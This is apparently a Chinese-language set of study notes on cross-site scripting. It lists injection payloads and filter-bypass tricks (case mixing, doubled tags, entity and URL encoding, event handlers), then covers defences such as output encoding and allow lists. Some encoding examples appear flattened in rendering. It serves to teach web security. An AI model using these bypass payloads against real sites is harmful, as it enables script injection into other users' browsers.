XSS 攻防
XSS 构造方法
利用<>
用法
输入框上传的内容
<img src="">
<script></script>
……
示例
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTi7NIssiejIpd06SibU5kbd5C0UWmsnQnRwYA9qmvLVtFYtRXiTZ05nNE_KHW9RXnPB5U&usqp=CAU">
url 编码,提交,成功执行
<script>alert("hacking!")</script>
javascript 伪协议
可以通过URL 载入资源的标签。
<a href="javascript:alert(/gjl/)">XSS_TEST</a>
事件响应
事件类型 | 说明 |
---|---|
windows 事件 | 对window 对象触发的事件 |
Form 事件 | HTML 表单内触发的事件 |
Keyboard 事件 | 键盘事件 |
Mouse 事件 | 鼠标事件 |
Media 事件 | 由多媒体触发的事件 |
鼠标移动到图片上触发
<img src="" onmouseover="alert(/attacked!!!/)">
键盘按下触发
<input onkeydown="alert(/attacked!!!/)">
键盘释放触发
<input onkeyup="alert('attacked!!!')">
……
输入框内按下键盘立即触发
松开键盘触发
XSS 变形方式
大小写转换
浏览器对 HTML 标签大小写不敏感
<ScrIPt></SCrIpT>
<img src="#" ONerror="">
关键字双写
绕过一次过滤
<scr<script>ipt>
对伪协议进行转码
单个替换被过滤的字符
HTML 编码:
字母 | ASCII码 | 十进制编码 | 十六进制编码 |
---|---|---|---|
a | 97 | a | a |
c | 99 | c | c |
e | 101 | e | e |
其他编码:
- utf-8 编码
- utf-7 编码
引号的使用
- 没有引号
- 单引号
- 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
/
代替空格
<Img/sRc='#'/OnErRoR='alert(/xss/)'>
XSS 防御
XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。
输入过滤
- 仅接受指定长度;
- 仅包含合法字符;
- 仅接收指定范围;
- 特殊的格式,例如,email、IP 地址。
输出编码
将特殊字符转换为 HTML 实体,从而可以在 HTML 页面中安全地显示这些字符,避免被误解为 HTML 标记或 JavaScript 代码
$keywords = htmlspecialchars( $_GET[ 'keywords' ] );
黑白名单策略
不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:
- 黑名单:非允许的内容
- 白名单:允许的内容
防御 DOM 型 XSS
避免客户端文档重写,重定向或其他敏感操作。
XSS 攻防实例
过滤<script>
关键字
直接输入<script>alert("gjl")</script>
时 script 标签被过滤
可以使用大小写转换进行绕过
不区分大小写过滤
可以使用双写绕过
在正则表达式中,i
是一个修饰符,表示进行不区分大小写的匹配
源码中开启不区分大小写过滤,大小写转换的绕过方式不再适用
双写绕过
正则匹配所有<script>
标签中的字符
利用事件绕过
<input onfocus="alert(/hacking!!!/)">
正则匹配<script>
+on
过滤
加大小写绕过
正则匹配<script>
+on
过滤+大小写过滤
对伪协议编码
// 攻击代码
<a href="javascript:alert(/hacking!!!/)">click<a>
// 将被过滤的字符转为十进制
<a href="javascript:alert(/hacking!!!/)">click<a>
// url 编码
%3Ca%20href%3D%22%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert(%2Fhacking!!!%2F)%22%3Eclick%3Ca%3E
url编码
<img ondbclixk="alert(/xss/)">
地址错误,载入失败触发onerror
<input onkeydown="alert">
正则匹配
编码
?keywords=%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2347%3B%26%23103%3B%26%23106%3B%26%23108%3B%26%2347%3B%26%2341%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B
直接显示不执行